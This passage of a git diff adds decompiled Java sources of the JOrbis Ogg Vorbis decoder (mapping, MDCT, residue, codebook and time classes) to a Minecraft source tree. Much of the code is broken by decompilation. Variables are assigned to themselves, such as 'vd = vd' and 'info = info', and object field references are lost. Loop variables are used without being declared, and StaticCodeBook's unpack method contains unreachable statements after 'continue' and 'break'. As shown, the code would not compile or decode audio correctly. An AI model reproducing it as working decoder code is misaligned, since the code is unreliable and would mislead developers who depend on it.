+      }
+      residuesubmap[i] = opb.read(8);
+      if (residuesubmap[i] >= residues) {
+        info.free();
+        return null;
+      }
+    }
+    return info;
+  }
+  
+  Mapping0() { pcmbundle = ((float[][])null);
+    zerobundle = null;
+    nonzero = null;
+    floormemo = null;
+  }
+  
+  synchronized int inverse(Block vb, Object l) { DspState vd = vd;
+    Info vi = vi;
+    LookMapping0 look = (LookMapping0)l;
+    InfoMapping0 info = map;
+    InfoMode mode = mode;
+    int n = vb.pcmend = blocksizes[W];
+    
+    float[] window = window[W][lW][nW][windowtype];
+    if ((pcmbundle == null) || (pcmbundle.length < channels)) {
+      pcmbundle = new float[channels][];
+      nonzero = new int[channels];
+      zerobundle = new int[channels];
+      floormemo = new Object[channels];
+    }
+    
+
+
+
+
+
+
+    for (int i = 0; i < channels; i++) {
+      float[] pcm = pcm[i];
+      int submap = chmuxlist[i];
+      
+      floormemo[i] = floor_func[submap].inverse1(vb, floor_look[submap], floormemo[i]);
+      
+      if (floormemo[i] != null) {
+        nonzero[i] = 1;
+      }
+      else {
+        nonzero[i] = 0;
+      }
+      for (int j = 0; j < n / 2; j++) {
+        pcm[j] = 0.0F;
+      }
+    }
+    
+
+    for (int i = 0; i < coupling_steps; i++) {
+      if ((nonzero[coupling_mag[i]] != 0) || (nonzero[coupling_ang[i]] != 0)) {
+        nonzero[coupling_mag[i]] = 1;
+        nonzero[coupling_ang[i]] = 1;
+      }
+    }
+    
+
+
+    for (int i = 0; i < submaps; i++) {
+      int ch_in_bundle = 0;
+      for (int j = 0; j < channels; j++) {
+        if (chmuxlist[j] == i) {
+          if (nonzero[j] != 0) {
+            zerobundle[ch_in_bundle] = 1;
+          }
+          else {
+            zerobundle[ch_in_bundle] = 0;
+          }
+          pcmbundle[(ch_in_bundle++)] = pcm[j];
+        }
+      }
+      
+      residue_func[i].inverse(vb, residue_look[i], pcmbundle, zerobundle, ch_in_bundle);
+    }
+    
+
+    for (int i = coupling_steps - 1; i >= 0; i--) {
+      float[] pcmM = pcm[coupling_mag[i]];
+      float[] pcmA = pcm[coupling_ang[i]];
+      
+      for (int j = 0; j < n / 2; j++) {
+        float mag = pcmM[j];
+        float ang = pcmA[j];
+        
+        if (mag > 0.0F) {
+          if (ang > 0.0F) {
+            pcmM[j] = mag;
+            pcmA[j] = (mag - ang);
+          }
+          else {
+            pcmA[j] = mag;
+            pcmM[j] = (mag + ang);
+          }
+          
+        }
+        else if (ang > 0.0F) {
+          pcmM[j] = mag;
+          pcmA[j] = (mag + ang);
+        }
+        else {
+          pcmA[j] = mag;
+          pcmM[j] = (mag - ang);
+        }
+      }
+    }
+    
+
+
+
+    for (int i = 0; i < channels; i++) {
+      float[] pcm = pcm[i];
+      int submap = chmuxlist[i];
+      floor_func[submap].inverse2(vb, floor_look[submap], floormemo[i], pcm);
+    }
+    
+
+
+
+
+    for (int i = 0; i < channels; i++) {
+      float[] pcm = pcm[i];
+      
+      ((Mdct)transform[W][0]).backward(pcm, pcm);
+    }
+    
+
+
+
+
+    for (int i = 0; i < channels; i++) {
+      float[] pcm = pcm[i];
+      if (nonzero[i] != 0) {
+        for (int j = 0; j < n; j++) {
+          pcm[j] *= window[j];
+        }
+        
+      } else {
+        for (int j = 0; j < n; j++) {
+          pcm[j] = 0.0F;
+        }
+      }
+    }
+    
+
+
+
+    return 0; }
+  
+  class InfoMapping0 { int submaps;
+    
+    InfoMapping0() {}
+    int[] chmuxlist = new int['Ā'];
+    
+    int[] timesubmap = new int[16];
+    int[] floorsubmap = new int[16];
+    int[] residuesubmap = new int[16];
+    int[] psysubmap = new int[16];
+    int coupling_steps;
+    
+    int[] coupling_mag = new int['Ā'];
+    int[] coupling_ang = new int['Ā'];
+    
+    void free() {
+      chmuxlist = null;
+      timesubmap = null;
+      floorsubmap = null;
+      residuesubmap = null;
+      psysubmap = null;
+      
+      coupling_mag = null;
+      coupling_ang = null;
+    }
+  }
+  
+  void free_info(Object imap) {}
+  
+  void free_look(Object imap) {}
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Mdct.java b/src/minecraft/com/jcraft/jorbis/Mdct.java
new file mode 100644
index 0000000..7b62440
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Mdct.java
@@ -0,0 +1,250 @@
+package com.jcraft.jorbis;
+
+
+
+
+
+class Mdct
+{
+  int n;
+  
+
+
+
+  int log2n;
+  
+
+
+
+  float[] trig;
+  
+
+
+
+  int[] bitrev;
+  
+
+
+  float scale;
+  
+
+
+
+  Mdct() {}
+  
+
+
+
+  void init(int n)
+  {
+    bitrev = new int[n / 4];
+    trig = new float[n + n / 4];
+    
+    log2n = ((int)Math.rint(Math.log(n) / Math.log(2.0D)));
+    this.n = n;
+    
+    int AE = 0;
+    int AO = 1;
+    int BE = AE + n / 2;
+    int BO = BE + 1;
+    int CE = BE + n / 2;
+    int CO = CE + 1;
+    
+    for (int i = 0; i < n / 4; i++) {
+      trig[(AE + i * 2)] = ((float)Math.cos(3.141592653589793D / n * (4 * i)));
+      trig[(AO + i * 2)] = ((float)-Math.sin(3.141592653589793D / n * (4 * i)));
+      trig[(BE + i * 2)] = ((float)Math.cos(3.141592653589793D / (2 * n) * (2 * i + 1)));
+      trig[(BO + i * 2)] = ((float)Math.sin(3.141592653589793D / (2 * n) * (2 * i + 1)));
+    }
+    for (int i = 0; i < n / 8; i++) {
+      trig[(CE + i * 2)] = ((float)Math.cos(3.141592653589793D / n * (4 * i + 2)));
+      trig[(CO + i * 2)] = ((float)-Math.sin(3.141592653589793D / n * (4 * i + 2)));
+    }
+    
+
+    int mask = (1 << log2n - 1) - 1;
+    int msb = 1 << log2n - 2;
+    for (int i = 0; i < n / 8; i++) {
+      int acc = 0;
+      for (int j = 0; msb >>> j != 0; j++)
+        if ((msb >>> j & i) != 0)
+          acc |= 1 << j;
+      bitrev[(i * 2)] = ((acc ^ 0xFFFFFFFF) & mask);
+      
+      bitrev[(i * 2 + 1)] = acc;
+    }
+    
+    scale = (4.0F / n);
+  }
+  
+
+  void clear() {}
+  
+
+  void forward(float[] in, float[] out) {}
+  
+  float[] _x = new float['Ѐ'];
+  float[] _w = new float['Ѐ'];
+  
+  synchronized void backward(float[] in, float[] out) {
+    if (_x.length < n / 2) {
+      _x = new float[n / 2];
+    }
+    if (_w.length < n / 2) {
+      _w = new float[n / 2];
+    }
+    float[] x = _x;
+    float[] w = _w;
+    int n2 = n >>> 1;
+    int n4 = n >>> 2;
+    int n8 = n >>> 3;
+    
+
+
+    int inO = 1;
+    int xO = 0;
+    int A = n2;
+    
+
+    for (int i = 0; i < n8; i++) {
+      A -= 2;
+      x[(xO++)] = (-in[(inO + 2)] * trig[(A + 1)] - in[inO] * trig[A]);
+      x[(xO++)] = (in[inO] * trig[(A + 1)] - in[(inO + 2)] * trig[A]);
+      inO += 4;
+    }
+    
+    inO = n2 - 4;
+    
+    for (i = 0; i < n8; i++) {
+      A -= 2;
+      x[(xO++)] = (in[inO] * trig[(A + 1)] + in[(inO + 2)] * trig[A]);
+      x[(xO++)] = (in[inO] * trig[A] - in[(inO + 2)] * trig[(A + 1)]);
+      inO -= 4;
+    }
+    
+
+    float[] xxx = mdct_kernel(x, w, n, n2, n4, n8);
+    int xx = 0;
+    
+
+
+
+    int B = n2;
+    int o1 = n4;int o2 = o1 - 1;
+    int o3 = n4 + n2;int o4 = o3 - 1;
+    
+    for (int i = 0; i < n4; i++) {
+      float temp1 = xxx[xx] * trig[(B + 1)] - xxx[(xx + 1)] * trig[B];
+      float temp2 = -(xxx[xx] * trig[B] + xxx[(xx + 1)] * trig[(B + 1)]);
+      
+      out[o1] = (-temp1);
+      out[o2] = temp1;
+      out[o3] = temp2;
+      out[o4] = temp2;
+      
+      o1++;
+      o2--;
+      o3++;
+      o4--;
+      xx += 2;
+      B += 2;
+    }
+  }
+  
+
+
+
+  private float[] mdct_kernel(float[] x, float[] w, int n, int n2, int n4, int n8)
+  {
+    int xA = n4;
+    int xB = 0;
+    int w2 = n4;
+    int A = n2;
+    
+    for (int i = 0; i < n4;) {
+      float x0 = x[xA] - x[xB];
+      
+      w[(w2 + i)] = (x[(xA++)] + x[(xB++)]);
+      
+      float x1 = x[xA] - x[xB];
+      A -= 4;
+      
+      w[(i++)] = (x0 * trig[A] + x1 * trig[(A + 1)]);
+      w[i] = (x1 * trig[A] - x0 * trig[(A + 1)]);
+      
+      w[(w2 + i)] = (x[(xA++)] + x[(xB++)]);
+      i++;
+    }
+    
+
+
+
+    for (int i = 0; i < log2n - 3; i++) {
+      int k0 = n >>> i + 2;
+      int k1 = 1 << i + 3;
+      int wbase = n2 - 2;
+      
+      A = 0;
+      
+
+      for (int r = 0; r < k0 >>> 2; r++) {
+        int w1 = wbase;
+        w2 = w1 - (k0 >> 1);
+        float AEv = trig[A];
+        float AOv = trig[(A + 1)];
+        wbase -= 2;
+        
+        k0++;
+        for (int s = 0; s < 2 << i; s++) {
+          float wB = w[w1] - w[w2];
+          w[w1] += w[w2];
+          
+          float wA = w[(++w1)] - w[(++w2)];
+          w[w1] += w[w2];
+          
+          x[w2] = (wA * AEv - wB * AOv);
+          x[(w2 - 1)] = (wB * AEv + wA * AOv);
+          
+          w1 -= k0;
+          w2 -= k0;
+        }
+        k0--;
+        A += k1;
+      }
+      
+      float[] temp = w;
+      w = x;
+      x = temp;
+    }
+    
+
+
+
+    int C = n;
+    int bit = 0;
+    int x1 = 0;
+    int x2 = n2 - 1;
+    
+    for (int i = 0; i < n8; i++) {
+      int t1 = bitrev[(bit++)];
+      int t2 = bitrev[(bit++)];
+      
+      float wA = w[t1] - w[(t2 + 1)];
+      float wB = w[(t1 - 1)] + w[t2];
+      float wC = w[t1] + w[(t2 + 1)];
+      float wD = w[(t1 - 1)] - w[t2];
+      
+      float wACE = wA * trig[C];
+      float wBCE = wB * trig[(C++)];
+      float wACO = wA * trig[C];
+      float wBCO = wB * trig[(C++)];
+      
+      x[(x1++)] = ((wC + wACO + wBCE) * 0.5F);
+      x[(x2--)] = ((-wD + wBCO - wACE) * 0.5F);
+      x[(x1++)] = ((wD + wBCO - wACE) * 0.5F);
+      x[(x2--)] = ((wC - wACO - wBCE) * 0.5F);
+    }
+    
+    return x;
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/PsyInfo.java b/src/minecraft/com/jcraft/jorbis/PsyInfo.java
new file mode 100644
index 0000000..2aa890e
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/PsyInfo.java
@@ -0,0 +1,73 @@
+package com.jcraft.jorbis;
+
+
+
+
+
+class PsyInfo
+{
+  int athp;
+  
+
+
+  int decayp;
+  
+
+
+  int smoothp;
+  
+
+
+  int noisefitp;
+  
+
+
+  int noisefit_subblock;
+  
+
+
+  float noisefit_threshdB;
+  
+
+
+  float ath_att;
+  
+
+
+  int tonemaskp;
+  
+
+
+  float[] toneatt_125Hz = new float[5];
+  float[] toneatt_250Hz = new float[5];
+  float[] toneatt_500Hz = new float[5];
+  float[] toneatt_1000Hz = new float[5];
+  float[] toneatt_2000Hz = new float[5];
+  float[] toneatt_4000Hz = new float[5];
+  float[] toneatt_8000Hz = new float[5];
+  
+  int peakattp;
+  float[] peakatt_125Hz = new float[5];
+  float[] peakatt_250Hz = new float[5];
+  float[] peakatt_500Hz = new float[5];
+  float[] peakatt_1000Hz = new float[5];
+  float[] peakatt_2000Hz = new float[5];
+  float[] peakatt_4000Hz = new float[5];
+  float[] peakatt_8000Hz = new float[5];
+  
+  int noisemaskp;
+  float[] noiseatt_125Hz = new float[5];
+  float[] noiseatt_250Hz = new float[5];
+  float[] noiseatt_500Hz = new float[5];
+  float[] noiseatt_1000Hz = new float[5];
+  float[] noiseatt_2000Hz = new float[5];
+  float[] noiseatt_4000Hz = new float[5];
+  float[] noiseatt_8000Hz = new float[5];
+  float max_curve_dB;
+  float attack_coeff;
+  float decay_coeff;
+  
+  PsyInfo() {}
+  
+  void free() {}
+}
diff --git a/src/minecraft/com/jcraft/jorbis/PsyLook.java b/src/minecraft/com/jcraft/jorbis/PsyLook.java
new file mode 100644
index 0000000..88da6b2
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/PsyLook.java
@@ -0,0 +1,16 @@
+package com.jcraft.jorbis;
+
+class PsyLook
+{
+  int n;
+  PsyInfo vi;
+  float[][][] tonecurves;
+  float[][] peakatt;
+  float[][][] noisecurves;
+  float[] ath;
+  int[] octave;
+  
+  PsyLook() {}
+  
+  void init(PsyInfo vi, int n, int rate) {}
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Residue0.java b/src/minecraft/com/jcraft/jorbis/Residue0.java
new file mode 100644
index 0000000..a4e3a6a
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Residue0.java
@@ -0,0 +1,381 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Residue0
+  extends FuncResidue
+{
+  Residue0() {}
+  
+  void pack(Object vr, Buffer opb)
+  {
+    InfoResidue0 info = (InfoResidue0)vr;
+    int acc = 0;
+    opb.write(begin, 24);
+    opb.write(end, 24);
+    
+    opb.write(grouping - 1, 24);
+    
+    opb.write(partitions - 1, 6);
+    opb.write(groupbook, 8);
+    
+
+
+
+    for (int j = 0; j < partitions; j++) {
+      int i = secondstages[j];
+      if (Util.ilog(i) > 3)
+      {
+        opb.write(i, 3);
+        opb.write(1, 1);
+        opb.write(i >>> 3, 5);
+      }
+      else {
+        opb.write(i, 4);
+      }
+      acc += Util.icount(i);
+    }
+    for (int j = 0; j < acc; j++) {
+      opb.write(booklist[j], 8);
+    }
+  }
+  
+  Object unpack(Info vi, Buffer opb) {
+    int acc = 0;
+    InfoResidue0 info = new InfoResidue0();
+    begin = opb.read(24);
+    end = opb.read(24);
+    grouping = (opb.read(24) + 1);
+    partitions = (opb.read(6) + 1);
+    groupbook = opb.read(8);
+    
+    for (int j = 0; j < partitions; j++) {
+      int cascade = opb.read(3);
+      if (opb.read(1) != 0) {
+        cascade |= opb.read(5) << 3;
+      }
+      secondstages[j] = cascade;
+      acc += Util.icount(cascade);
+    }
+    
+    for (int j = 0; j < acc; j++) {
+      booklist[j] = opb.read(8);
+    }
+    
+    if (groupbook >= books) {
+      free_info(info);
+      return null;
+    }
+    
+    for (int j = 0; j < acc; j++) {
+      if (booklist[j] >= books) {
+        free_info(info);
+        return null;
+      }
+    }
+    return info;
+  }
+  
+  Object look(DspState vd, InfoMode vm, Object vr) {
+    InfoResidue0 info = (InfoResidue0)vr;
+    LookResidue0 look = new LookResidue0();
+    int acc = 0;
+    
+    int maxstage = 0;
+    info = info;
+    map = mapping;
+    
+    parts = partitions;
+    fullbooks = fullbooks;
+    phrasebook = fullbooks[groupbook];
+    
+    int dim = phrasebook.dim;
+    
+    partbooks = new int[parts][];
+    
+    for (int j = 0; j < parts; j++) {
+      int i = secondstages[j];
+      int stages = Util.ilog(i);
+      if (stages != 0) {
+        if (stages > maxstage)
+          maxstage = stages;
+        partbooks[j] = new int[stages];
+        for (int k = 0; k < stages; k++) {
+          if ((i & 1 << k) != 0) {
+            partbooks[j][k] = booklist[(acc++)];
+          }
+        }
+      }
+    }
+    
+    partvals = ((int)Math.rint(Math.pow(parts, dim)));
+    stages = maxstage;
+    decodemap = new int[partvals][];
+    for (int j = 0; j < partvals; j++) {
+      int val = j;
+      int mult = partvals / parts;
+      decodemap[j] = new int[dim];
+      
+      for (int k = 0; k < dim; k++) {
+        int deco = val / mult;
+        val -= deco * mult;
+        mult /= parts;
+        decodemap[j][k] = deco;
+      }
+    }
+    return look;
+  }
+  
+
+
+
+
+
+
+  private static int[][][] _01inverse_partword = new int[2][][];
+  
+  void free_info(Object i) {}
+  
+  void free_look(Object i) {}
+  
+  static synchronized int _01inverse(Block vb, Object vl, float[][] in, int ch, int decodepart) { LookResidue0 look = (LookResidue0)vl;
+    InfoResidue0 info = info;
+    
+
+    int samples_per_partition = grouping;
+    int partitions_per_word = phrasebook.dim;
+    int n = end - begin;
+    
+    int partvals = n / samples_per_partition;
+    int partwords = (partvals + partitions_per_word - 1) / partitions_per_word;
+    
+    if (_01inverse_partword.length < ch) {
+      _01inverse_partword = new int[ch][][];
+    }
+    
+    for (int j = 0; j < ch; j++) {
+      if ((_01inverse_partword[j] == null) || (_01inverse_partword[j].length < partwords)) {
+        _01inverse_partword[j] = new int[partwords][];
+      }
+    }
+    
+    for (int s = 0; s < stages; s++)
+    {
+
+      int i = 0; for (int l = 0; i < partvals; l++) {
+        if (s == 0)
+        {
+          for (j = 0; j < ch; j++) {
+            int temp = phrasebook.decode(opb);
+            if (temp == -1) {
+              return 0;
+            }
+            _01inverse_partword[j][l] = decodemap[temp];
+            if (_01inverse_partword[j][l] == null) {
+              return 0;
+            }
+          }
+        }
+        
+
+        for (int k = 0; (k < partitions_per_word) && (i < partvals); i++) {
+          for (j = 0; j < ch; j++) {
+            int offset = begin + i * samples_per_partition;
+            int index = _01inverse_partword[j][l][k];
+            if ((secondstages[index] & 1 << s) != 0) {
+              CodeBook stagebook = fullbooks[partbooks[index][s]];
+              if (stagebook != null) {
+                if (decodepart == 0) {
+                  if (stagebook.decodevs_add(in[j], offset, opb, samples_per_partition) == -1)
+                  {
+                    return 0;
+                  }
+                }
+                else if ((decodepart == 1) && 
+                  (stagebook.decodev_add(in[j], offset, opb, samples_per_partition) == -1))
+                {
+                  return 0;
+                }
+              }
+            }
+          }
+          k++;
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    return 0;
+  }
+  
+  static int[][] _2inverse_partword = (int[][])null;
+  
+  static synchronized int _2inverse(Block vb, Object vl, float[][] in, int ch)
+  {
+    LookResidue0 look = (LookResidue0)vl;
+    InfoResidue0 info = info;
+    
+
+    int samples_per_partition = grouping;
+    int partitions_per_word = phrasebook.dim;
+    int n = end - begin;
+    
+    int partvals = n / samples_per_partition;
+    int partwords = (partvals + partitions_per_word - 1) / partitions_per_word;
+    
+    if ((_2inverse_partword == null) || (_2inverse_partword.length < partwords)) {
+      _2inverse_partword = new int[partwords][];
+    }
+    for (int s = 0; s < stages; s++) {
+      int i = 0; for (int l = 0; i < partvals; l++) {
+        if (s == 0)
+        {
+          int temp = phrasebook.decode(opb);
+          if (temp == -1) {
+            return 0;
+          }
+          _2inverse_partword[l] = decodemap[temp];
+          if (_2inverse_partword[l] == null) {
+            return 0;
+          }
+        }
+        
+
+        for (int k = 0; (k < partitions_per_word) && (i < partvals); i++) {
+          int offset = begin + i * samples_per_partition;
+          int index = _2inverse_partword[l][k];
+          if ((secondstages[index] & 1 << s) != 0) {
+            CodeBook stagebook = fullbooks[partbooks[index][s]];
+            if ((stagebook != null) && 
+              (stagebook.decodevv_add(in, offset, ch, opb, samples_per_partition) == -1))
+            {
+              return 0;
+            }
+          }
+          k++;
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    return 0;
+  }
+  
+  int inverse(Block vb, Object vl, float[][] in, int[] nonzero, int ch) {
+    int used = 0;
+    for (int i = 0; i < ch; i++) {
+      if (nonzero[i] != 0) {
+        in[(used++)] = in[i];
+      }
+    }
+    if (used != 0) {
+      return _01inverse(vb, vl, in, used, 0);
+    }
+    return 0;
+  }
+  
+
+
+
+
+  class InfoResidue0
+  {
+    int begin;
+    
+
+
+
+    int end;
+    
+
+
+    int grouping;
+    
+
+
+    int partitions;
+    
+
+
+    int groupbook;
+    
+
+
+    int[] secondstages = new int[64];
+    int[] booklist = new int['Ā'];
+    
+
+    float[] entmax = new float[64];
+    float[] ampmax = new float[64];
+    int[] subgrp = new int[64];
+    int[] blimit = new int[64];
+    
+    InfoResidue0() {}
+  }
+  
+  class LookResidue0
+  {
+    Residue0.InfoResidue0 info;
+    int map;
+    int parts;
+    int stages;
+    CodeBook[] fullbooks;
+    CodeBook phrasebook;
+    int[][] partbooks;
+    int partvals;
+    int[][] decodemap;
+    int postbits;
+    int phrasebits;
+    int frames;
+    
+    LookResidue0() {}
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Residue1.java b/src/minecraft/com/jcraft/jorbis/Residue1.java
new file mode 100644
index 0000000..6c12a90
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Residue1.java
@@ -0,0 +1,44 @@
+package com.jcraft.jorbis;
+
+
+
+
+
+
+
+
+
+
+
+
+class Residue1
+  extends Residue0
+{
+  Residue1() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+  int inverse(Block vb, Object vl, float[][] in, int[] nonzero, int ch)
+  {
+    int used = 0;
+    for (int i = 0; i < ch; i++) {
+      if (nonzero[i] != 0) {
+        in[(used++)] = in[i];
+      }
+    }
+    if (used != 0) {
+      return _01inverse(vb, vl, in, used, 1);
+    }
+    
+    return 0;
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Residue2.java b/src/minecraft/com/jcraft/jorbis/Residue2.java
new file mode 100644
index 0000000..45f0249
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Residue2.java
@@ -0,0 +1,41 @@
+package com.jcraft.jorbis;
+
+
+
+
+
+
+
+
+
+
+
+
+class Residue2
+  extends Residue0
+{
+  Residue2() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+  int inverse(Block vb, Object vl, float[][] in, int[] nonzero, int ch)
+  {
+    int i = 0;
+    for (i = 0; i < ch; i++)
+      if (nonzero[i] != 0)
+        break;
+    if (i == ch) {
+      return 0;
+    }
+    return _2inverse(vb, vl, in, ch);
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/StaticCodeBook.java b/src/minecraft/com/jcraft/jorbis/StaticCodeBook.java
new file mode 100644
index 0000000..7b97f06
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/StaticCodeBook.java
@@ -0,0 +1,443 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class StaticCodeBook
+{
+  int dim;
+  int entries;
+  int[] lengthlist;
+  int maptype;
+  int q_min;
+  int q_delta;
+  int q_quant;
+  int q_sequencep;
+  int[] quantlist;
+  static final int VQ_FEXP = 10;
+  static final int VQ_FMAN = 21;
+  static final int VQ_FEXP_BIAS = 768;
+  
+  StaticCodeBook() {}
+  
+  int pack(Buffer opb)
+  {
+    boolean ordered = false;
+    
+    opb.write(5653314, 24);
+    opb.write(dim, 16);
+    opb.write(entries, 24);
+    
+
+
+
+    for (int i = 1; i < entries; i++) {
+      if (lengthlist[i] < lengthlist[(i - 1)])
+        break;
+    }
+    if (i == entries) {
+      ordered = true;
+    }
+    if (ordered)
+    {
+
+
+
+      int count = 0;
+      opb.write(1, 1);
+      opb.write(lengthlist[0] - 1, 5);
+      
+      for (i = 1; i < entries; i++) {
+        int _this = lengthlist[i];
+        int _last = lengthlist[(i - 1)];
+        if (_this > _last) {
+          for (int j = _last; j < _this; j++) {
+            opb.write(i - count, Util.ilog(entries - count));
+            count = i;
+          }
+        }
+      }
+      opb.write(i - count, Util.ilog(entries - count));
+
+    }
+    else
+    {
+      opb.write(0, 1);
+      
+
+
+
+      for (i = 0; i < entries; i++) {
+        if (lengthlist[i] == 0) {
+          break;
+        }
+      }
+      if (i == entries) {
+        opb.write(0, 1);
+        for (i = 0; i < entries; i++) {
+          opb.write(lengthlist[i] - 1, 5);
+        }
+      }
+      
+      opb.write(1, 1);
+      for (i = 0; i < entries; i++) {
+        if (lengthlist[i] == 0) {
+          opb.write(0, 1);
+        }
+        else {
+          opb.write(1, 1);
+          opb.write(lengthlist[i] - 1, 5);
+        }
+      }
+    }
+    
+
+
+
+    opb.write(maptype, 4);
+    switch (maptype)
+    {
+    case 0: 
+      break;
+    
+
+    case 1: 
+    case 2: 
+      if (quantlist == null)
+      {
+        return -1;
+      }
+      
+
+      opb.write(q_min, 32);
+      opb.write(q_delta, 32);
+      opb.write(q_quant - 1, 4);
+      opb.write(q_sequencep, 1);
+      
+
+      int quantvals = 0;
+      switch (maptype)
+      {
+
+      case 1: 
+        quantvals = maptype1_quantvals();
+        break;
+      
+      case 2: 
+        quantvals = entries * dim;
+      }
+      
+      
+
+      for (i = 0; i < quantvals; i++) {
+        opb.write(Math.abs(quantlist[i]), q_quant);
+      }
+      
+      break;
+    
+    default: 
+      return -1;
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+  int unpack(Buffer opb)
+  {
+    if (opb.read(24) != 5653314)
+    {
+      clear();
+      return -1;
+    }
+    
+
+    dim = opb.read(16);
+    entries = opb.read(24);
+    if (entries == -1)
+    {
+      clear();
+      return -1;
+    }
+    
+    int i;
+    switch (opb.read(1))
+    {
+    case 0: 
+      lengthlist = new int[entries];
+      
+
+      if (opb.read(1) != 0)
+      {
+
+        for (int i = 0; i < entries; i++) {
+          if (opb.read(1) != 0) {
+            int num = opb.read(5);
+            if (num == -1)
+            {
+              clear();
+              return -1;
+            }
+            lengthlist[i] = (num + 1);
+          }
+          else {
+            lengthlist[i] = 0;
+          }
+        }
+      }
+      
+
+      for (i = 0; i < entries;) {
+        int num = opb.read(5);
+        if (num == -1)
+        {
+          clear();
+          return -1;
+        }
+        lengthlist[i] = (num + 1);i++; continue;
+        
+
+
+
+
+
+        int length = opb.read(5) + 1;
+        lengthlist = new int[entries];
+        
+        for (i = 0; i < entries;) {
+          int num = opb.read(Util.ilog(entries - i));
+          if (num == -1)
+          {
+            clear();
+            return -1;
+          }
+          for (int j = 0; j < num; i++) {
+            lengthlist[i] = length;j++;
+          }
+          length++;
+        }
+        
+        break;
+        
+
+        return -1;
+      }
+    }
+    
+    switch (this.maptype = opb.read(4))
+    {
+    case 0: 
+      break;
+    
+
+    case 1: 
+    case 2: 
+      q_min = opb.read(32);
+      q_delta = opb.read(32);
+      q_quant = (opb.read(4) + 1);
+      q_sequencep = opb.read(1);
+      
+
+      int quantvals = 0;
+      switch (maptype) {
+      case 1: 
+        quantvals = maptype1_quantvals();
+        break;
+      case 2: 
+        quantvals = entries * dim;
+      }
+      
+      
+
+      quantlist = new int[quantvals];
+      for (i = 0; i < quantvals; i++) {
+        quantlist[i] = opb.read(q_quant);
+      }
+      if (quantlist[(quantvals - 1)] == -1)
+      {
+        clear();
+        return -1;
+      }
+      
+      break;
+    
+    default: 
+      clear();
+      return -1;
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+
+  private int maptype1_quantvals()
+  {
+    int vals = (int)Math.floor(Math.pow(entries, 1.0D / dim));
+    
+
+
+
+
+    for (;;)
+    {
+      int acc = 1;
+      int acc1 = 1;
+      for (int i = 0; i < dim; i++) {
+        acc *= vals;
+        acc1 *= (vals + 1);
+      }
+      if ((acc <= entries) && (acc1 > entries)) {
+        return vals;
+      }
+      
+      if (acc > entries) {
+        vals--;
+      }
+      else {
+        vals++;
+      }
+    }
+  }
+  
+
+
+
+
+  void clear() {}
+  
+
+
+
+  float[] unquantize()
+  {
+    if ((maptype == 1) || (maptype == 2))
+    {
+      float mindel = float32_unpack(q_min);
+      float delta = float32_unpack(q_delta);
+      float[] r = new float[entries * dim];
+      
+
+
+      switch (maptype)
+      {
+
+
+
+
+
+      case 1: 
+        int quantvals = maptype1_quantvals();
+        for (int j = 0; j < entries; j++) {
+          float last = 0.0F;
+          int indexdiv = 1;
+          for (int k = 0; k < dim; k++) {
+            int index = j / indexdiv % quantvals;
+            float val = quantlist[index];
+            val = Math.abs(val) * delta + mindel + last;
+            if (q_sequencep != 0)
+              last = val;
+            r[(j * dim + k)] = val;
+            indexdiv *= quantvals;
+          }
+        }
+        break;
+      case 2: 
+        for (int j = 0; j < entries; j++) {
+          float last = 0.0F;
+          for (int k = 0; k < dim; k++) {
+            float val = quantlist[(j * dim + k)];
+            
+            val = Math.abs(val) * delta + mindel + last;
+            if (q_sequencep != 0)
+              last = val;
+            r[(j * dim + k)] = val;
+          }
+        }
+      }
+      
+      
+      return r;
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  static long float32_pack(float val)
+  {
+    int sign = 0;
+    
+
+    if (val < 0.0F) {
+      sign = Integer.MIN_VALUE;
+      val = -val;
+    }
+    int exp = (int)Math.floor(Math.log(val) / Math.log(2.0D));
+    int mant = (int)Math.rint(Math.pow(val, 20 - exp));
+    exp = exp + 768 << 21;
+    return sign | exp | mant;
+  }
+  
+  static float float32_unpack(int val) {
+    float mant = val & 0x1FFFFF;
+    float exp = (val & 0x7FE00000) >>> 21;
+    if ((val & 0x80000000) != 0)
+      mant = -mant;
+    return ldexp(mant, (int)exp - 20 - 768);
+  }
+  
+  static float ldexp(float foo, int e) {
+    return (float)(foo * Math.pow(2.0D, e));
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Time0.java b/src/minecraft/com/jcraft/jorbis/Time0.java
new file mode 100644
index 0000000..d2f1693
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Time0.java
@@ -0,0 +1,52 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Time0
+  extends FuncTime
+{
+  Time0() {}
+  
+  void pack(Object i, Buffer opb) {}
+  
+  Object unpack(Info vi, Buffer opb)
+  {
+    return "";
+  }
+  
+  Object look(DspState vd, InfoMode mi, Object i) {
+    return "";
+  }
+  
+
+  void free_info(Object i) {}
+  
+  void free_look(Object i) {}
+  
+  int inverse(Block vb, Object i, float[] in, float[] out)
+  {
+    return 0;
+  }
+}
